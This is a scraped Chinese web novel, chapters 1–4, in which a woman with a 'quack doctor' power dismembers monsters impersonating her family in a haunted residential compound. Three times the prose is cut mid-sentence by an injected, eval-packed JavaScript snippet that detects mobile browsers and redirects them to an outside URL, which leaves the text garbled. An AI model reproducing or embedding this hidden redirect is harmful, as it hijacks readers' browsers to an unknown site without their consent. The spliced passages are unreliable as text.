《废土庸医,上门义诊[无限]》 1. 和谐小区1 “烂手回冬啊庸医!我本来都快自愈了,被你这么一治,我感觉自己快死了!” 狭小昏暗的诊所内,一个人,不,准确来说是半个“人”,正仰躺在病床上痛苦哀嚎。 他的左半边身体与正常人类无异,右半边身体却凭空消失,只留下一个平滑的肤色截面,丝毫不见血肉与骨骼,比起人类,倒更像个被切掉一半的泥塑。 病床边站着一名身穿白大褂的年轻医生,胸口的胸牌上写着她的名字——雁惊春。 听到患者的抱怨,她放下手中的钢锯,耐心开导:“怎么会呢?你好好回想一下,你最开始有什么症状?” “我、我记得自己磕到了脚趾,脚趾很痛......” “对呀。”雁惊春扯下钢锯上黏着的面团似的物体,递给他看,“所以我把你痛的那只脚切下来了,你好好感受一下,现在脚趾是不是不痛了?” 患者愣了愣:“咦,真的不痛了......不对!还是好痛!医生,现在我的脚腕好痛!” “哎,不是告诉你病症要一次性说清吗?算了,我再给你治疗一次吧。”雁惊春无奈地摇了摇头,再次举起钢锯,对准了患者的小腿。 这位患者很不配合,明明已经提醒过他有什么病症要一次说清了,他却在每次治疗结束都嚷着还有新的部位痛,雁惊春连续为他治疗了好几次,终于在最后一次询问时,患者不再喊痛也不再挣扎,躺在病床上安详地睡着了。 “不好意思,这里不能睡觉。”雁惊春推了推患者的脑袋,然而患者睡得太沉,怎么也叫不醒,她只得放弃:“好吧,趁着现在没人来,你就先躺一会儿吧。” “接下来我要干什么呢?对了,写病例,要赶快写病例才行。”雁惊春喃喃着,凑近了室内唯一的光源——一台亮着屏幕的老旧电脑。 就在这时,诊所内忽然剧烈地震动起来,好似有庞然巨物将整个房间连根拔起,握在掌中用力摇晃。 雁惊春猝不及防地踉跄两步,被电脑背面错综复杂的线路绊倒在地。还没等她起身,桌面上的显示器便连带着被扯落,一端砸中她的脑袋,另一端则重重磕在地上,屏幕瞬间熄灭。 尖锐的痛感从额角传来,雁惊春的大脑嗡嗡作响,耳边甚至出现了幻听。 那声音起初模糊不清,仿若梦呓,但随着痛感缓解,她耳畔的声音变得越发清晰: 【恭喜您已觉醒天赋:织茧·庸医】 【天赋等级:蠕虫】 【天赋能力:您可将面积为10平方米的空间划定为诊所,在诊所内,您可自行为患者制定治疗方案,患者的配合程度视方案合理性及患者等级而定。】 【恭喜您完成了初次行医!解锁技能:行医资格证】 【行医资格证:当您出示该证件时,看到证件的存在会认同您的医生身份,但对您的信任程度视双方等级而定。】 雁惊春单手扶额,晃晃悠悠地站起身,发现自己正处于一条废弃的小巷内。 她的大脑一片混沌,所有的记忆与思绪都像是笼罩在迷雾之中,唯有方才听到的话语格外清晰,仿佛直接印刻进了脑海。 但现在不是在意这些的时候。 得赶快回家才行。 妈妈爸爸还在家里。 要赶快回去救他们。 雁惊春下意识地迈开脚步,往家的方向走去。模糊的记忆告诉她,她有一个和谐的家庭,家里有妈妈爸爸和她。 然而有一天,家里突然多出了两个人,他们对她说:“雁惊春,我们是你的妹妹弟弟,我们要成为和谐的一家。” 开什么玩笑?她可是独生子!哪里来的妹妹弟弟? 她将他们堵在门口,不许他们进屋。可妈妈爸爸却将她从门口扯开,将“妹妹弟弟”迎了进来。 妈妈对她说:“雁惊春,这是你的妹妹弟弟,你要和他们多多接触。” 爸爸对她说:“雁惊春,你要接纳你的妹妹弟弟,我们要成为和谐的一家。” 雁惊春拗不过妈妈爸爸,只能眼睁睁地看着“妹妹弟弟”霸占了原本属于她的房间。她想,妈妈爸爸一定是被他们骗了,她得想办法证明他们不是妈妈爸爸的孩子。 于是在某天深夜,她偷偷带上自己搜集的检测样本,准备出门做亲子鉴定。可就在她推开门迈出第一步时,背后传来了“妹妹弟弟”的声音: “姐姐,你要去哪里?” 雁惊春毫不犹豫地拔腿就跑,在拐进楼梯口前回头一看,“妹妹弟弟”已经将自己从对方的身上撕了下来。“妹妹”跑回房间叫妈妈爸爸,“弟弟”则跟在她身后穷追不舍。 她在深夜的街道上狂奔,直到被“弟弟”堵进了一条废弃的小巷。 在那之后......在那之后发生了什么来着? 雁惊春试图回想,然而还没等她想起什么,心头就涌上一股危机感,莫名的恐惧令她不自觉地战栗。 不能再想下去了。她本能地跳过了那段空白的记忆。 总之,当她在小巷里和“弟弟”周旋时,“弟弟”不慎磕到了脚趾。于是她履行了自己医生的职责,将“弟弟”叫进自己的诊所,治愈了他。 ......等等,她的职业不是医生啊?而且现在想来,那根本不是治愈,而是直接杀掉了那个所谓的“弟弟”吧? 这个想法刚一冒出,雁惊春的喉间立刻泄出一声尖叫。 “你怎么可以那样做,你怎么可以杀掉自己的弟弟!”这是从她口中发出的、属于她自己的声音,只是因过于尖利而让她感到有些陌生。 “什么东西......我在说什么?”这是出于她自己意志的话语,声音细微的犹如蚊呐。 “你杀掉了自己的弟弟,你破坏了家庭的和谐!” “闭嘴......不要再说了......” “破坏和谐的人,应该以死谢罪!” “闭嘴,闭嘴!”雁惊春对这左右脑互搏似的诡异场面忍无可忍,为了让自己清醒一点,她猛地抬手戳向了额头的伤口。 剧烈的疼痛令她瞬间冒出冷汗,但同时也帮她想起了一段被遗忘的记忆。 那是她初次见到妈妈爸爸时的场景,当时的她如往常一样,拖着疲惫的身体下班回家。当她打开房门,妈妈爸爸就站在门口。 他们狭长扭曲的影子将她整个人笼罩其中,重叠在一起的话音像是直接在她的脑内响起: “雁惊春,我们是你的妈妈爸爸,我们要成为和谐的一家。” 重要的记忆碎片回归,萦绕在雁惊春脑中的迷雾顷刻散去,她浑身一个激灵,终于彻底清醒过来。 显而易见,她见鬼了。 那些鬼东西不知怎么扭曲了她的认知,让她把它们当成了“家人”。随后它们不仅堂而皇之地住进了她家,还把她从自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746772|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的家里赶了出去。 如果不是她在关键时刻觉醒了那个叫“庸医”的天赋,反杀了鬼弟弟,恐怕现在她已死于非命。 思忖间,雁惊春额角的伤口传来轻微的痒意。她小心翼翼地抬手碰了碰,发现不到半小时的工夫,额头的伤口竟然已经结痂。 难道是因为她觉醒了庸医天赋,所以自愈的速度加快了? 雁惊春心里嘀咕着,扯起衣服下摆擦了擦脸上残留的血污,同时环顾四周,观察起自己所处的环境。 刚才她神志不清的时候一直在往家的方向行进,现在已经走到了离家最近的岔路口,一抬头就能望见小区楼房的轮廓。 接下来该怎么办呢?她没有家人,也没有关系亲近的朋友,没有可以倾诉或依赖的对象。 要报告治安队吗?可那群媚上欺下的家伙哪里会管她这种平民的诉求,说不定还会把她当作疯子关起来。 那要放弃吗?要逃跑吗?不,不行,那可是她刚贷款五十年买下的房子,上个月才还完第1期款,还剩下599期的房贷等着她还呢! 事到如今,恐怕只剩下一个办法了。 雁惊春沉下心来,重新审视自己新获得的能力。现在的她能以医生的身份将10平方米的空间划定为诊所,并对患者进行“治疗”。 这种能力的施展效果是受等级限制的,虽说她现在还不知道所谓的“等级”是什么,但既然弟弟鬼已经被她的能力干掉了,那和它差不多的另外三只鬼应该也会受到她能力的影响。 刚好,被她用作书房的次卧只有6平方米,完全足够她施展能力,正可以拿来驱鬼。 下定决心后,雁惊春毅然拐进左侧的岔路,往家的方向走去。 小区门口的路灯早已损坏,借着月光能隐约看到铁门上生锈的“和谐小区”字样。 此时小区大门上挂着的喇叭正在循环播放着一段音频:“争做和谐家庭,共建和谐小区。小区的和谐需要每个家庭的共同维护......” 雁惊春穿过铁门,进入小区。小区内的公告栏上似乎张贴了新的告示,红色的公告纸格外引人注目。 然而雁惊春根本无暇细看,她径直走进3号单元楼,爬上楼梯,叩响了自己所住的303室的房门。 门内传来“哒哒哒”的声音,紧接着房门被打开,露出了三个紧贴在一起的“人”。 它们乍看之下都是普通人类的模样,但贴合处的手臂已然融入了彼此的身体,如同三块被挤到一起的橡皮泥,明明是三个“人”,却只能作为一个整体行动,就连走路都是六只脚一齐迈步。 看来在她离开家的这段时间里,它们变得更加“和谐”了呢。 雁惊春正打量着它们,位于正中的“妈妈”开口了:“雁惊春,你回来了,你是来和我们组建和谐家庭的吗?” “当然啦,妈妈。”雁惊春露出和善的微笑,“所以快让我进去吧,我已经等不及了。” “妈妈”、“爸爸”和“妹妹”听了这话,脸上都露出幸福的笑容,它们螃蟹似的往旁边挪动几步,将雁惊春让了进来。 雁惊春蹲下身,换下脚上的运动鞋,套上拖鞋。 “妹妹”在她身侧探头探脑地往门外望去:“姐姐,弟弟不是和你一起出门的吗?他怎么没有和你一起回来?” 雁惊春将运动鞋收进鞋柜,笑而不语地直起身,反手关上了房门。 2. 和谐小区2 合上门后,雁惊春目不斜视地走进厨房,取出一只大号钢盆,将刀具架上的菜刀、水果刀、斩骨刀一并收入盆中,随后又走到客厅,将储物柜里的锤子、螺丝刀、剪刀也一股脑地放了进去。 在她行动期间,她的三位“家人”始终亦步亦趋地跟随着她,六只脚交替迈动,“啪嗒啪嗒”的脚步声不绝于耳。等她端着这盆东西进入书房时,三位“家人”同样跟在她身后挤了进去。 “爸爸”的视线在雁惊春和那盆东西间转了几圈,终于忍不住开口问:“雁惊春,你在干什么?” 雁惊春没有回话,直接使用天赋能力将整个书房划定成了诊所。 【织茧·庸医启用中,天赋启用期间请勿离开诊所范围】 【启用倒计时:9分59秒】 【天赋冷却时间:23小时59分59秒】 原来天赋使用时还需要读条的?怎么不早说! 雁惊春暗暗咬牙,而被她冷落多时的“家人”们已变得有些躁动不安。 三个黏连在一起的“人”齐齐向她逼近,“妹妹”的手臂更是直接缠上了她的手腕。 “妈妈”说:“雁惊春,冷暴力会破坏家庭的和谐。” “爸爸”说:“雁惊春,回答我,你在干什么?” “妹妹”说:“姐姐,弟弟到底去哪儿了?” 明明它们只是在问话,却令雁惊春感到莫名的压抑。她不动声色地抽出手,轻叹了口气:“抱歉,我分神了。我只是在为弟弟……在为我们这个家担心。” 说话间,她将这辈子遇到的伤心事想了个遍,终于在想到自己剩下的599期房贷时,眼中泛起了泪花。 她流着泪抬起头,望向自己的“家人”们:“当时,我正和弟弟玩着和谐的追逐游戏,没想到弟弟突然说自己脚趾痛,我担心坏了,赶紧把他送进了附近的诊所。” “到了诊所请医生一看才知道,原来弟弟的痛症已经相当严重,不仅脚趾,还有脚腕、小腿、大腿、肚子、胸口……全都痛得厉害,我没有办法,只好先把他留在诊所治病。” “更糟糕的是,医生说这种痛症是遗传性的,也就是说我们全家都会得这种痛症,只是发病时间不同罢了!” 听到这里,“妈妈”皱起眉头打断了她:“痛症会遗传?还会有不同的发病时间?雁惊春,你要知道,说谎会破坏家庭的和谐。” 雁惊春对此早有准备,她将手放进口袋,同时使用了技能【行医资格证】。这个技能没有读条时间,在她使用能力的下一秒,一个巴掌大的本子便出现在她的手中。 她将手从口袋里拿出来,把手中的【行医资格证】展示给“家人”们看:“我可没有说谎,我是个医生,我以自己的专业能力担保,我们一家就是有遗传性的痛症!” 三位“家人”在看到【行医资格证】后,脸上的表情都有一瞬的空白。紧接着,“妈妈”陷入沉默,“爸爸”开始流泪,“妹妹”不安的扯住了雁惊春的衣摆:“姐姐,你是医生,你一定有办法对不对?” “当然。”雁惊春故作深沉地点了点头,“我可以想办法帮你们治疗,不过在看诊之前,我需要你们配合我做一些准备。” 在接下来的几分钟里,雁惊春将三位“家人”指挥得团团转,一会儿叫它们去烧40℃整的水,一会儿让它们写三天内精确到秒的所有行动,很快便将天赋启用所需的十分钟混了过去,提示音再度于她耳畔响起: 【恭喜您,织茧·庸医启用成功】 三位“家人”还在老老实实地写着今天都做了什么,丝毫没有注意到房间已经悄然发生了变化:书桌变成了病床,头顶的白炽灯变成了无影灯,木制的衣柜变成了钢制的治疗柜。 好在雁惊春端进来的那盆工具还在,她在里面挑拣一番,拎出了一柄锤子,往墙上敲了敲:“好了,准备工作到此结束,现在开始检查。谁先来?” “妈妈”说:“医生,让妹妹先来吧。” 雁惊春挑了挑眉,有些意外。这就不叫名字,改叫医生了?看来她的能力对它们很有效。 她让它们并排坐到病床上,随后走向最左侧的“妹妹”,猛地挥起锤子砸向它的脚。 “妹妹”的脚像是被砸扁的面团,当场凹陷下去,它痛呼出声:“啊——” “看吧,果然发病了,和弟弟当时的症状一模一样。”雁惊春一脸严肃,“需要尽快治疗。” 紧接着,她又依次砸向“妈妈”和“爸爸”,不出意外地又听到两声痛呼。在三位“家人”全部确诊后,雁惊春放下锤子,左手拿起菜刀,右手拿起斩骨刀,正式开始治疗。 顿时,狭小的诊所内变得热闹非凡。 “妈妈”说:“我的脚腕开始痛了!医生,快帮我治疗!” “爸爸”说:“我的胳膊、我的胳膊好痛!医生,先给我治吧!” “妹妹”说:“我才是最先确诊的!医生,你应该第一个治我!” 雁惊春在三位“家人”间周旋,忙得不可开交:“别急,都别急!治完你的治你的,治完你的治你的,我会把你们都治好的,放心吧!” 不知过了多久,诊所内终于沉寂下来,雁惊春放下手中的刀,活动了一下酸痛的手指。 原本和谐的一家此时已经分崩离析,雁惊春去找了几个特大号垃圾袋,把东一块西一块的“家人”们收拾好,分批扔进了楼下的垃圾桶。 做完这一切后,她洗漱干净躺到床上,拿起放在床头柜上的智脑,想要刷一会儿再睡,却发现智脑上显示无信号。 没办法,谁叫她买的这间老破小位于第9区外围,前任房主签合同前就说了,这里太过偏僻,所以偶尔会收不到信号。 雁惊春遗憾地放下智脑,裹紧被子进入了梦乡。 * “砰砰砰!” “好吵……”雁惊春咕哝着睁开眼,发现此时天已大亮,阳光透过窗帘的缝隙照进房间,在被褥上投下一条光带。 敲门声还在继续,雁惊春带着点起床气钻出被窝,趿拉着拖鞋去开门。但在望见门外站着的人后,她的起床气顿时消了大半。 那是个相貌出众的青年男性,身姿挺拔高挑,皮肤白皙光洁,五官清秀俊朗,衬衫的纽扣被他一丝不苟地系到最上一颗,牢牢遮住喉结,衬衫下摆则被利落地束进裤腰,行动间隐约可见劲瘦的腰身。 他看到雁惊春一副刚睡醒的样子,立即不好意思地微垂下眼:“抱歉,我不知道您……” “没事。”雁惊春没给他斟酌措辞的时间,“找我什么事?” “我是住在您楼下的,名叫谢臻,昨天夜里303的动静有点大,所以想上来看看情况。” 听他这么说,雁惊春立刻明白是自己昨晚驱鬼时扰民了,连忙道歉:“抱歉,昨晚是不是吵到你了?我当时在收拾东西,弄得有点晚了,以后一定注意。” “啊,那倒不要紧,不过……”谢臻似乎有些难以启齿,说话时悄悄抬眼观察着雁惊春的表情:“您的家人们正在从楼下的垃圾桶里往外爬,搞得邻居们都没法丢垃圾了,您要不要下去管管?” “什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746773|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么!”雁惊春残存的睡意霎时消散一空。 她狂奔到窗口,扒着窗框往下一看,果然看见楼下的垃圾桶边围了一圈人,正对着垃圾桶里涌动的肉块指指点点。 慢着,站在垃圾桶边上的那一圈人,模样好像有点奇怪? 她眯眼细看,顿时发现那些根本不是人,而是和她那三位“家人”一样的鬼东西。 它们三三两两地黏在一起,最多的甚至有六只黏成了一团。庞大的躯干上随机分布着脑袋与四肢,瞧着格外诡异可怖。 “完了……”雁惊春不自觉地呢喃着。 “倒也不必如此悲观。”谢臻在她身后柔声安慰,“只要我们及时处理……” “不,我是说这个小区的房价完了。”雁惊春双目无神,“早知道这个小区闹鬼这么严重,当初买房时就该再多杀点价的!” 谢臻因这意料之外的回答怔了怔,终于意识到不对:“您的意思是……您是这个小区的业主?” “是啊。” “那您进入小区,只是为了居住?” 雁惊春奇怪地看了他一眼:“是啊,不然呢?” “这怎么可能?普通人根本无法抵御‘蜕’造成的精神污染,更别提破坏它们了。”谢臻眉头微蹙,将手按在了腰间:“恕我冒昧,请问您现在意识真的清醒吗?” 雁惊春注意到他的动作和神情,脑中警铃大作。 她本以为谢臻只是和自己一样撞了鬼的倒霉蛋,但听他方才话中的意思,显然是知道小区内异状的缘由,并且也拥有“天赋”。 心念电转间,雁惊春换上了一副懵懂的表情,仿佛根本没察觉到谢臻的戒备:“我不懂你说的‘精神污染’是什么,但说实话,我也不确定自己现在算不算清醒。” “我像是做了一个很长的梦,感觉周围的一切都模模糊糊的,直到昨天,我才突然发现家里竟然多了三个人不人鬼不鬼的玩意儿。我当时很害怕,一心想把它们赶出去,等回过神来,它们就已经变得东一块西一块了。” 雁惊春半真半假地说完,用真诚的眼神凝着谢臻:“我也不知道自己这是怎么了,但你似乎对这种情况有所了解?” 谢臻的表情缓和了些,搭在腰间的手也移开了:“原来如此,看来您是刚刚觉醒天赋的能力者。新人在孵化期感到混乱是正常的,不必担心。” “孵化期?” “是的,安全区的研究者们将普通人比作‘卵’,将能力者根据不同的天赋划分为螂、蚊、蝶、蜂四大特性,从普通人变为能力者的这段时期,就是‘孵化期’。” 谢臻解释道:“孵化期的能力者通常意识不到自己拥有的天赋,可能出现逻辑混乱、思维异常乃至失控暴走的情况,您现在的状态已经趋于稳定,应该很快就能顺利孵化,进入‘蠕虫期’了。” 雁惊春若有所思地点点头:“那你之前说得‘蜕’又是什么意思?” 谢臻:“这个说来话长,不如您先洗漱好跟我下去看看,我们边走边说?” 雁惊春欣然应允,快步走到卫生间,一照镜子才发觉自己额头的伤口已然痊愈。 她没有声张,动作迅速地洗漱完毕,换上一身便于行动的宽松衣裤,又拎了把菜刀作为武器,跟着谢臻往楼下走去。 谢臻:“这个世界上除了能力者外,还存在拥有天赋的非人,它们能将一定的区域划定为‘茧’,自行制定茧内的规则和逻辑,并制造名为‘蜕’的怪物维护茧内的秩序。” “这种觉醒了天赋的非人,我们称之为‘织茧者’。” 3. 和谐小区3 织茧者。 对于这个称呼雁惊春并不陌生,毕竟她的天赋就叫【织茧·庸医】。 她很想说服自己这是个巧合,可“织茧者”的名称和能力特点都与她的天赋能力完全契合。 怎么会这样,她明明是个人类啊? 雁惊春难以接受,她低头望向自己的身体,甚至有种想要撕开皮肉看看内里的冲动。 在她前方,背对着她走下台阶的谢臻对她此时的异状毫无所觉:“现在整个和谐小区已经变成了一个只进不出的‘茧’,昨天被您切块的那三只怪物就是‘蜕’。” “破坏蜕能削弱茧的力量,但若想彻底毁掉茧,必须找到并消灭织茧者才行。” 交谈间,二人离垃圾桶所在的位置越来越近,已经能隐约听到蜕的说话声。 突然,有一只蜕高声喊道:“春春妹妹,站起来!” 雁惊春:“???” 她狐疑地凑近几步,发现那些蜕正在给她垃圾桶里的“家人”们加油鼓劲。 “春春妹妹的脚,快站起来!站起来就能够到桶沿了!” “春春妈的手,你先别忙着自己爬呀,拉一把春春妈的膝盖,你们不就能一起出来了吗?” “春春爸?春春爸你在哪里?春春爸你说句话啊?” 雁惊春大为感动,不愧是以和谐为准则的和谐小区,每一位邻居都如此热情友善。 她扯了扯同样深受震撼的谢臻,小声问:“你喊我下来是要我做什么?这看起来也没什么危险啊。” 谢臻低声回复:“我希望您能帮忙回收这些被切块的蜕,否则它们可能会被其它蜕捡走融合。” 仿佛在印证谢臻的推测一般,他话音刚落,围观群蜕里就出现了不同的声音: “春春家这三位好像不太合得来啊......为了和谐考虑,要不把它们接到我家来吧,我家可是排名第一的和谐家庭呢。” 此言一出,其它蜕立即应和。 “是呀是呀,它们努力了这么久,都没能恢复昨天那副和谐的样子。” “有道理,帮它们加入新的家庭有利于和谐。” “我也同意,1栋401是本期和谐家庭的第一名,它们一定能帮春春家和好如初。” 眼看着蜕们要将碎块融入最大那团蜕的身体,谢臻心急如焚:“不能让它们继续融合了,否则它们会进入居委会的!” 雁惊春有些迷茫:“居委会?和谐小区没组建过居委会啊。” 谢臻意识到她还没看过公告,赶忙操作手腕上的光脑,调出光屏给她看:“这是技术组新开发的功能,可以实时同步茧内的公开情报,现在显示的就是小区最新的公告内容。” 【和谐小区公告】 【亲爱的居民朋友们,为了促进小区的和谐,和谐小区居委会将不定期举办和谐家庭评比活动,每期活动排名第一的家庭将获得加入居委会的资格。】 【本期活动结束倒计时:1天】 【本期和谐家庭排名: 第一名-1栋401 第二名……】 【和谐小区居委会宣】 谢臻在一旁补充:“活动倒计时会根据第一名家庭的状态浮动,如果织茧者不满意第一名的融合程度,倒计时就会变长,反之则会变短。” “现在的倒计时是1天,说明1栋401的状态已经令织茧者比较满意了,这时候一旦让它融合更多,恐怕织茧者立即就会将它召入居委会。” 雁惊春不解:“照你这么说,这个茧的织茧者很可能就藏在居委会里,那我们直接跟着第一名进入居委会不是更好?” “很遗憾,不行。”谢臻叹了口气,“我五天前刚进入小区时,正巧上一期活动即将结束,那时我试图跟着获得第一的蜕进入居委会,然而那团蜕打开家门后就凭空消失了。” “更糟糕的是,在那之后织茧者的力量明显增强了。如果再有蜕加入居委会,它的等级恐怕就会由蠕虫升级到结蛹。” 雁惊春立刻意识到了事情的严重性。现在织茧者和她等级相同,她还有可能对其施展能力,可一旦织茧者完成升级,她的能力就会失去作用。 她抬起头,冰冷的视线锁定在体型最为庞大的那团蜕上:“我明白了,当务之急就是宰了最肥的蜕。” “是的......啊不是的,我们现在只需要把碎块回收,等夜深人静再去暗杀——等等!”谢臻刚说完前两个字,雁惊春已经提着菜刀冲了出去。 他没来得及阻拦,眼睁睁看着雁惊春挥舞着菜刀为自己开辟出了一条道路。 “让让,都让让!这是我的家人!”雁惊春高呼着挤进了蜕群的中央。 糟了,不能这么说!以这些蜕的逻辑,它们会审判雁惊春与家人不够和谐的! 谢臻正要上前,却听雁惊春没等蜕开口便先发制人,直接开始干嚎: “天杀的,是谁?是谁把我家人扔垃圾桶里面了!” 说罢,她不等蜕们反应,举起菜刀指向最大的蜕团:“你!1栋401的,是不是你干的!我家人不同意与你融合,你就想把它们切碎了强行融合是不是?” “怎么可能?我们没有!”1栋401的蜕们立即反驳,可它们的声音却被周围邻居的议论声盖了过去: “春春,你怎么能这样质问自己的邻居,也太不和谐了。” “是呀,而且它们要和你家变得更加亲密,这有利于和谐,你们怎么能拒绝呢。” 雁惊春被蜕们合伙声讨却也不急,当场话锋一转:“邻居们,你们误会了,我家只是觉得1栋401已经快达到进居委会的标准了,再融合一整家有些浪费,不如只将妹妹融合,其它家人继续参加下期评比。” “你们想想,像这样合理分配人员,我们才能多选出几组家庭进入居委会不是吗?” 蜕们有些动摇: “好像是这样......” “如果能多评选几期和谐家庭,应该更利于和谐吧?” “不是啊,她家没和我们说过这种话......” 雁惊春恶狠狠地瞪向试图为自己辩驳的1栋401的蜕,打断道:“更过分的是,这已经不是它第一次做这种事了。我的家人曾见过它用这种方法融合其它蜕,只是没想到它现在已经嚣张到当众行凶了!” “它根本没打算和我们变得和谐,只是想投机取巧加入居委会罢了!我的家人没敢揭露它的真面目,但我敢!我不能看着这种破坏和谐的家伙加入居委会!” “啪!”一只手从垃圾桶沿飞扑过来,死死抓住了雁惊春的衣领。 哎呀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746774|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是想揭穿我的谎言吗?可是你现在没有嘴呀。 雁惊春笑着反握住那只手,环顾四周:“大家看,我的家人也为我敢于揭穿叛徒、维护和谐而骄傲呢。” 这温情的一幕成为了压垮骆驼的最后一根稻草,围观的蜕们彻底被她说服。 “不能让破坏和谐的家庭加入居委会,否则小区的和谐会被破坏。” “剥夺它们加入居委会的资格!不能让它们成为这期评比的第一名!” “她在说谎!我们没有那么做!” 事到如今,蜕们哪里肯听1栋401的蜕辩驳,它们一拥而上,挥舞着手脚堵住1栋401的蜕身上全部的嘴,将它推出蜕群,压在雁惊春面前。 做完这一切后,它们纷纷抬起头、或者被用作了“头”的部位,用扭曲而狂热的眼睛凝视着雁惊春,异口同声:“破坏和谐,就要受到惩罚!” * 谢臻曾参与过许多次破茧行动,却从未见过如此荒诞的场景。 小区的空地上,蜕们主动压着它们的同类,任由它们的敌人——一名能力者,向它们的同类挥刀。 “唰!”手起刀落。 蜕们欢呼:“为了和谐!” “唰唰唰!”蜕庞大的身躯被切成几片。 蜕们呐喊:“惩罚叛徒!” 太荒诞了,太诡异了,简直像异教徒们在进行献祭。 换做以往,谢臻见到这种场景一定会立即做好战斗准备,可现在...... 他望向被蜕们簇拥在中心的雁惊春,在阵阵欢呼中,她唇角带着浅笑,眼神却冷酷锐利,下刀的动作干净利落。 像是个邪恶的祭祀。谢臻在心里悄悄评价道。 不过,看起来很可靠。 谢臻自进入茧后便一直紧绷的神经不自觉放松了些许,连他自己都没意识到,他竟然因为一个刚觉醒天赋的人而感受到了“安心”。 他盯着雁惊春随着动作上下翻飞的发尾发了一会儿呆,忽然发现那发尾恢复了静止。 他猛地回过神,就见雁惊春已经驱散了蜕群,正笔直地向他走来。 “搞定!”雁惊春随手抹去额头的细汗,“那玩意儿已经被我细细地剁成臊子了!公告有变化了吗?” 谢臻刷新了一下公告界面,首先看向倒计时栏: 【本期活动结束倒计时:8天】 他又扫了一眼排行榜,果然看到1栋401已经由正数第一跌到了倒数第一。 “成功了。”谢臻笑着将界面展示给雁惊春,“辛苦了,你很厉害。” “还好啦还好啦。”雁惊春随口应和着,伸出一根手指划拉屏幕翻看界面。 看着看着,她的眉头逐渐蹙起:“谢臻,你之前是不是说过,这个排行榜是根据融合程度排的?” 谢臻有些困惑,但还是老实回答:“是的,蜕融合的数量越多、越紧密,融合程度就越高,排名也就越高。” 雁惊春:“你是怎么得出这个结论的?” 谢臻:“我的光脑植入了特殊程序,录入茧内各项情况后,人工智能会自动推算出茧内的规则和逻辑。” “把你那破人工智能淘汰了吧。”雁惊春不客气地评价了句,手指停在光屏某处:“如果是按融合程度排名的,那这个要怎么解释?” 4. 和谐小区4 谢臻顺着她手指的方向,看向排行榜上的倒数第三。 雁惊春:“倒数第一是1栋401,倒数第二是你,这都很正常。可如果按融合程度排名,我家只有我和一堆蜕的碎块,应该排在倒数第三才对。” 她的手指向上滑动一截:“可是现在,我家却排到了倒数第六。” 谢臻此时也意识到了不对:“倒数第四和第五都是两只蜕黏连在一起的,融合程度分明比你家更高。” “没错。所以除了融合程度外,很可能还有其它隐藏的排名规则。”雁惊春说完自己的推测,看向谢臻:“根据你这些天的观察,排行榜上有其它排名异常的家庭吗?” 谢臻之前的关注点都集中在第一名和倒计时上,还是头一次细看整份排行。 他回忆着每个家庭中蜕的状态,在屏幕上划出几条:“这家、这家还有这家,排名都和融合程度不太匹配,尤其是2栋503,明明只有三只蜕却位列第三,比四只蜕的家庭排名更高。” 雁惊春总结:“排名有明显异常的就是2栋503和我家,不如我们分头行动,你去查探2栋503的情况,我回家寻找线索。” 谢臻一口应下:“没问题,等我查探结束就去你家找你汇合。” 两人约定完毕便各自行动,谢臻走向2号单元楼,雁惊春则返回家中。 曾经占据了她家的四只蜕没留下什么生活痕迹,家里的布置和她独居时相差无几。 雁惊春没有四处搜寻,而是目标明确地直奔书房。 她记得自己昨晚为了拖延天赋启用时间,曾让那三只蜕写下三天内精确到秒的所有行动。当时她的本意只是刁难,却不想如今派上了用场。 她将笔记从书桌上拿起,位于最上方的一页似乎是“妹妹”写的,字迹歪歪扭扭: 【顶楼,壮壮妹妹,说。壮壮爸爸睡觉,吵。昨晚,我悄悄去,刮掉鼻子,扯掉嘴巴。不吵,壮壮妹妹开心。不客气,和谐,和谐。】 翻到下一页,是“妈妈”或“爸爸”的笔记,字迹变得清晰,叙事也更加流畅: 【前日隔壁单元的邻居同我讲,它们在回家途中被二楼住户丢出窗外的花盆砸到,爸爸的头因此塌陷下去,眼睛被挤进了脑袋里,看不见东西了。】 【我听出它们的话中有埋怨之意,忧心它们邻里和谐受到影响,便决心助它们重归于好。】 【今日我与家人一同上门拜访,特意将它们带到阳台,趁着二楼住户经过楼下时将它们推了下去,正巧砸到了二楼住户身上。】 【我不知这样还施彼身的行为可否令它们消气,便与家人一同下楼查看。】 【待我们到了楼下,它们已和二楼的住户合在了一处,你中有我,我中有你。虽形似烂泥,但关系已变得密不可分。】 【我不图回报,默默离去。又做了一桩利于和谐的好事,我心甚慰。】 接下来的几页也是差不多的内容,雁惊春一目十行地浏览完毕,啧啧称奇。 真是好热心肠的一家子,不是帮忙解决家庭矛盾,就是帮忙调节邻里纠纷。 从字里行间不难看出,它们对自己助蜕为乐的行为十分满意,不过被它们“帮助”的邻居是否满意就不得而知了。 